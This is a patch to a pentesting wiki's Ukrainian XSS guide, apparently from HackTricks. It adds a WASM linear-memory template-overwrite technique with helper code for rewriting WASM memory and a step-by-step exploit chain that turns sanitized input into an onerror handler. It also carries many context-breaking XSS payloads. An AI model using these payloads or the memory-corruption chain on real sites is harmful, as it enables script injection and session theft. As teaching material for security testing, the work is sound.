From 065610b6b3bb67d0b89fcfb109c274ccd645c0e2 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 15:00:48 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem --- src/SUMMARY.md | 1 + .../xss-cross-site-scripting/README.md | 425 +++++++++--------- ...sm-linear-memory-template-overwrite-xss.md | 133 ++++++ 3 files changed, 351 insertions(+), 208 deletions(-) create mode 100644 src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 6ccda1fac..ffd9bccd6 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,32 +4,32 @@ ## Методологія -1. Перевірте, чи будь-яке **значення, яке ви контролюєте** (_parameters_, _path_, _headers_?, _cookies_?) **відображається** в HTML або **використовується** кодом **JS**. -2. **З'ясуйте контекст**, де воно відображається/використовується. -3. Якщо **відображено** -1. Перевірте **які символи можна використовувати** і залежно від цього підготуйте payload: +1. Перевірте, чи **будь-яке значення, яке ви контролюєте** (_parameters_, _path_, _headers_?, _cookies_?) **відображається** в HTML або **використовується** в коді **JS**. +2. **Знайдіть контекст**, де воно відображається/використовується. +3. Якщо **заперечено (reflected)** +1. Перевірте, **які символи ви можете використовувати**, і залежно від цього підготуйте payload: 1. У **raw HTML**: 1. Чи можете ви створити нові HTML теги? -2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`? -3. Чи можете обійти захист? -4. Чи інтерпретується HTML-контент якимось client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), тоді ви можете використати [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Якщо ви не можете створити HTML-теги, які виконують JS-код, чи можна скористатися [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? -2. Всередині **HTML тега**: -1. Чи можете ви вийти в контекст raw HTML? -2. Чи можете створити нові події/атрибути для виконання JS-коду? -3. Чи підтримує атрибут, в якому ви «застрягли», виконання JS? -4. Чи можете обійти захист? +2. Чи можете ви використовувати events або attributes, що підтримують `javascript:` протокол? +3. Чи можете ви обходити захисти? +4. Чи інтерпретується HTML контент якимось клієнтським JS рушієм (_AngularJS_, _VueJS_, _Mavo_...), який ви могли б використати у [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Якщо ви не можете створити HTML теги, що виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +2. Всередині **HTML tag**: +1. Чи можете ви вийти в raw HTML контекст? +2. Чи можете ви створити нові events/attributes для виконання JS коду? +3. Чи атрибут, в якому ви «застрягли», підтримує виконання JS? +4. Чи можете ви обходити захисти? 3. Всередині **JavaScript коду**: -1. Чи можете ви вийти з тега ``** тегами HTML-сторінки, всередині файлу `.js` або в атрибуті з використанням протоколу **`javascript:`**: +У цьому випадку ваш ввод відображається між **``** тегами HTML-сторінки, всередині `.js` файлу або в атрибуті з протоколом **`javascript:`**: -- Якщо відображається між **``** тегами, навіть якщо ваш ввід знаходиться в будь-яких лапках, ви можете спробувати ввести `` і вийти з цього контексту. Це працює тому, що **браузер спочатку розпарсить HTML-теги**, а потім вміст, тому він не помітить, що ваш інжектований `` тег знаходиться всередині HTML-коду. -- Якщо відображається **всередині JS-рядка** і попередній трюк не працює, вам потрібно **вийти** з рядка, **виконати** ваш код і **відновити** JS-код (якщо буде помилка, він не виконається): +- Якщо відображається між **``** тегами, навіть якщо ваш ввод знаходиться в яких-небудь лапках, ви можете спробувати інжектити `` і вийти з цього контексту. Це працює тому, що **браузер спочатку розпарсить HTML-теги**, а потім контент, тому він не помітить, що ваш інжектований `` тег знаходиться всередині HTML-коду. +- Якщо відображається **всередині JS string** і попередній трюк не працює, вам потрібно **вийти** з рядка, **виконати** свій код і **відновити** JS-код (якщо буде помилка, він не виконається: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Якщо відображається всередині template literals, ви можете **вбудувати JS-вирази** використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** працює для написання **valid javascript code**: +- Якщо відображається всередині template literals, ви можете **вбудовувати JS expressions** використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** працює для запису **валідного javascript коду**: ```javascript alert(1) alert(1) @@ -86,7 +86,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting позначає можливість **оголосити функції, змінні або класи після їх використання, щоб можна було зловживати сценаріями, де XSS використовує неоголошені змінні або функції.**\ +Javascript Hoisting означає можливість **оголосити функції, змінні або класи після їх використання, що дозволяє зловживати сценаріями, де XSS використовує необ'явлені змінні чи функції.**\ **Перегляньте наступну сторінку для детальнішої інформації:** @@ -96,15 +96,15 @@ js-hoisting.md ### Javascript Function -Декілька веб-сторінок мають endpoints, які **приймають як параметр ім'я функції для виконання**. Поширений приклад у реальному житті: `?callback=callbackFunc`. +Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. -Добрий спосіб з'ясувати, чи те, що передається прямо користувачем, намагається виконуватися — це **змінити значення параметра** (наприклад на 'Vulnerable') і подивитися в консолі на помилки типу: +Хороший спосіб дізнатися, чи те, що передається безпосередньо юзером, намагаються виконати — **змінити значення параметра** (наприклад на 'Vulnerable') і подивитись у консолі на помилки типу: ![](<../../images/image (711).png>) -Якщо воно вразливе, ви можете бути в змозі **запустити alert**, просто відправивши значення: **`?callback=alert(1)`**. Однак дуже часто такі endpoints будуть **валідовувати вміст**, дозволяючи лише букви, цифри, крапки та підкреслення (**`[\w\._]`**). +Якщо воно вразливе, можна буде **спровокувати alert**, просто відправивши значення: **`?callback=alert(1)`**. Однак дуже часто такі endpoints **перевіряють вміст**, дозволяючи лише літери, цифри, крапки та підкреслення (**`[\w\._]`**). -Однак навіть з цим обмеженням все ж можна виконати деякі дії. Це тому, що можна використовувати ці допустимі символи, щоб **отримати доступ до будь-якого елементу в DOM**: +Навіть з цим обмеженням все ще можна виконати деякі дії. Це тому, що допустимі символи дозволяють **доступитися до будь-якого елемента в DOM**: ![](<../../images/image (747).png>) @@ -116,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Ви також можете спробувати безпосередньо **trigger Javascript functions**: `obj.sales.delOrders`. +Ви також можете спробувати **запустити Javascript функції** безпосередньо: `obj.sales.delOrders`. -Однак зазвичай endpoints, що виконують вказану функцію, не містять цікавого DOM; **інші сторінки в тому ж origin** матимуть **цікавіший DOM** для виконання додаткових дій. +Однак зазвичай ендпоїнти, що виконують вказану функцію, мають мало цікавого в DOM; **інші сторінки в тому ж same origin** матимуть **цікавіший DOM** для виконання більшої кількості дій. -Тому для **зловживання цією вразливістю в іншому DOM** було розроблено експлуатацію **Same Origin Method Execution (SOME)**: +Тому, щоб **експлуатувати цю вразливість в іншому DOM**, було розроблено метод експлуатації **Same Origin Method Execution (SOME)**: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Існує **JS code**, який **неналежним чином** використовує деякі **дані, контрольовані зловмисником**, наприклад `location.href`. Зловмисник може зловживати цим для виконання довільного JS-коду. +Є **JS code**, який ненадійно використовує деякі **дані, контрольовані атакуючим**, наприклад `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код. {{#ref}} @@ -138,8 +138,8 @@ dom-xss.md ### **Universal XSS** -Такі XSS можуть бути знайдені **скрізь**. Вони залежать не лише від клієнтської експлуатації веб-застосунку, а від **будь-якого** **контексту**. Такі випадки **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та іншого.\ -Деякі **приклади**: +Цей тип XSS може бути знайдений **будь-де**. Вони не залежать лише від клієнтської експлуатації вебдодатку, а від **будь-якого** **контексту**. Ці випадки **виконання довільного JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та іншого.\ +Декілька **прикладів**: {{#ref}} @@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md ## Injecting inside raw HTML -Коли ваш ввід відображається **inside the HTML page** або ви можете вийти з контексту та інжектити HTML-код у цьому контексті, **перше**, що потрібно зробити — перевірити, чи можна зловживати символом `<`, щоб створити нові теги: просто спробуйте **reflect** цей **char** і перевірте, чи він **HTML encoded**, **deleted** або відображається **без змін**. **Тільки в останньому випадку ви зможете експлуатувати це**.\ -Для таких випадків також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Примітка: HTML-коментар можна закрити, використавши\*\***\***\*`-->`\*\***\***\*або \*\***`--!>`\*\*_ +Коли ваш ввод відображається **всередині HTML-сторінки** або ви можете вийти з контексту і інжектити HTML-код у цьому контексті, **перше**, що потрібно зробити — перевірити, чи можна зловживати символом `<` для створення нових тегів: просто спробуйте **відобразити** цей **символ** і перевірити, чи він **HTML-кодується**, **видаляється**, чи **відображається без змін**. **Лише в останньому випадку ви зможете скористатися цією вразливістю**.\ +У таких випадках також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Примітка: HTML-коментар можна закрити, використавши**`-->`** або **`--!>`**_ -У такому випадку, якщо не використовується чорний/білий список, ви можете використовувати такі payloads: +У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як: ```html ` тегами, або в HTML-подіях, що можуть виконувати JS, або в атрибутах, що приймають протокол `javascript:`. +У цьому випадку ваш **input** буде відображено всередині JS-коду у `.js` файлі або між `` тегами, або між HTML-подіями, що можуть виконати JS-код, або між атрибутами, що приймають протокол `javascript:`. -### Вихід із \`, ви легко можете **вийти, закривши ``, ви можете легко вийти з контексту, закривши тег ` ``` -Зверніть увагу, що в цьому прикладі ми **навіть не закрили одинарну лапку**. Це тому, що **аналіз HTML виконується браузером спочатку**, що передбачає ідентифікацію елементів сторінки, включно з блоками скриптів. Парсинг JavaScript для розуміння та виконання вбудованих скриптів виконується лише після цього. +Зауважте, що в цьому прикладі ми **навіть не закрили одинарну лапку**. Це тому, що **аналіз HTML виконується спочатку браузером**, що включає ідентифікацію елементів сторінки, зокрема блоків script. Парсинг JavaScript для розуміння та виконання вбудованих скриптів відбувається лише після цього. -### Всередині JS-коду +### Всередині JS коду -Якщо `<>` очищуються, ви все ще можете **екранізувати рядок**, де ваше введення **розміщено**, та **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо будуть помилки, JS-код не буде виконано: +Якщо `<>` санітизуються, ви все ще можете **екранізувати рядок** у місці, де ваше введення **розташовано**, і **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки, якщо будуть помилки, JS код не буде виконано: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -497,25 +497,24 @@ and ``` #### JS-in-JS string break → inject → repair pattern -Коли введення користувача потрапляє всередину quoted JavaScript string (наприклад, server-side echo into an inline script), ви можете завершити рядок, вставити код і відновити синтаксис, щоб парсер залишався валідним. Загальна схема: +Коли введення користувача потрапляє всередину взятого в лапки JavaScript-рядка (e.g., server-side echo into an inline script), ви можете завершити рядок, інжектнути код і відновити синтаксис, щоб парсер залишався валідним. Загальний скелет: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -Приклад шаблону URL, коли вразливий параметр відображається у JS-рядку: +Приклад шаблону URL, коли вразливий параметр відображається в JS-рядку: ``` ?param=test";;a=" ``` -Це виконує JS зловмисника без необхідності торкатися HTML-контексту (чистий JS-in-JS). Combine with blacklist bypasses below when filters block keywords. +Це виконує attacker JS без необхідності торкатися HTML-контексту (pure JS-in-JS). Поєднуйте з blacklist bypasses нижче, коли фільтри блокують ключові слова. -### Шаблонні рядки `` +### Template literals `` -Щоб формувати **рядки**, окрім одинарних і подвійних лапок JS також підтримує **зворотні лапки** **` `` `** . Це називається шаблонними літералами, оскільки вони дозволяють **вбудовувати вирази JS** з використанням синтаксису `${ ... }`.\ -Отже, якщо ви помітили, що ваш вхід **відображається** всередині JS-рядка, що використовує зворотні лапки, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **довільний JS-код**: +Щоб створювати **strings**, окрім одинарних і подвійних лапок, JS також підтримує **backticks** **` `` `**. Це відоме як template literals, оскільки вони дозволяють вбудовувати **embedded JS expressions** за допомогою синтаксису `${ ... }`.\ Тому, якщо ви виявите, що ваш ввід **reflected** всередині JS-рядка, який використовує backticks, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **arbitrary JS code**: -Цим можна **зловживати**, використовуючи: +Цим можна **зловживати** за допомогою: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -527,21 +526,21 @@ return loop } loop`` ``` -### Виконання закодованого коду +### Encoded code execution ```html

%.*s

", що знаходиться в linear memory. Повернений HTML потрапляє в DOM sink (наприклад, innerHTML). + +Грумінг аллокатора з використанням realloc() +```c +int add_msg_to_stuff(stuff *s, msg new_msg) { +if (s->size >= s->capacity) { +s->capacity *= 2; +s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg)); +if (s->mess == NULL) exit(1); +} +s->mess[s->size++] = new_msg; +return s->size - 1; +} +``` +- Надішліть достатню кількість повідомлень, щоб перевищити початкову ємність. Після розширення realloc() часто розміщує s->mess одразу після останнього буфера користувача в лінійній пам'яті. +- Переповніть останнє повідомлення через editMsg(), щоб зіпсувати поля всередині s->mess (наприклад, перезаписати msg_data вказівники) → довільний перепис вказівника в лінійній пам'яті для даних, що пізніше відображатимуться. + +Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source +- Sanitization захищає введення, не sinks. Знайдіть format stub, який використовується populateMsgHTML(), наприклад: +- "

%.*s

" → change to "" +- Знайдіть stub детерміновано, скануючи лінійну пам'ять; це простий байтовий рядок у Module.HEAPU8. +- Після того як ви перезапишете stub, sanitized message content стає JavaScript-обробником для onerror, тож додавання нового повідомлення з текстом на кшталт alert(1337) дає і виконується одразу в DOM. + +Chrome DevTools workflow (Emscripten glue) +- Зробіть break на першому Module.cwrap виклику в JS glue і зайдіть у місце виклику wasm, щоб захопити аргументи-покажчики (числові зсуви в лінійній пам'яті). +- Використовуйте typed views, наприклад Module.HEAPU8, для читання/запису пам'яті WASM з консолі. +- Допоміжні сніпети: +```javascript +function writeBytes(ptr, byteArray){ +if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); +for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`); +HEAPU8[ptr+i]=byte; +} +} +function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); } +function readBytesAsChars(ptr,len){ +const bytes=HEAPU8.subarray(ptr,ptr+len); +return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join(''); +} +function searchWasmMemory(str){ +const mem=Module.HEAPU8, pat=new TextEncoder().encode(str); +for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int +``` +End-to-end exploitation recipe +1) Groom: додайте N малих повідомлень, щоб викликати realloc(). Переконайтеся, що s->mess суміжний із буфером користувача. +2) Overflow: викличте editMsg() для останнього повідомлення з більшим payload, щоб перезаписати запис у s->mess, встановивши msg_data повідомлення 0 вказувати на (stub_addr + 1). +1 пропускає провідний '<', щоб зберегти вирівнювання тегів під час наступного редагування. +3) Template rewrite: відредагуйте повідомлення 0 так, щоб його байти перезаписали шаблон на: "img src=1 onerror=%.*s " +4) Trigger XSS: додайте нове повідомлення, чиї санітизовані дані — JavaScript, наприклад alert(1337). Рендеринг видає і виконується. + +Example action list to serialize and place in ?s= (Base64-encode with btoa before use) +```json +[ +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080}, +{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080}, +{"action":"add","content":"alert(1337)","time":1756840476392} +] +``` +Чому цей bypass працює +- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy. +- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM. +- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory. + +Узагальнення та інші вектори атаки +- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream. +- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches. + +Рекомендації щодо захисту +- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity. +- Keep immutable templates out of writable linear memory or integrity-check them before use. +- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth. +- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating. +- Avoid trusting URL-embedded state for privileged flows. + +## References +- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/) +- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline) +- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff) +- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t) +- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/) + +{{#include ../../banners/hacktricks-training.md}}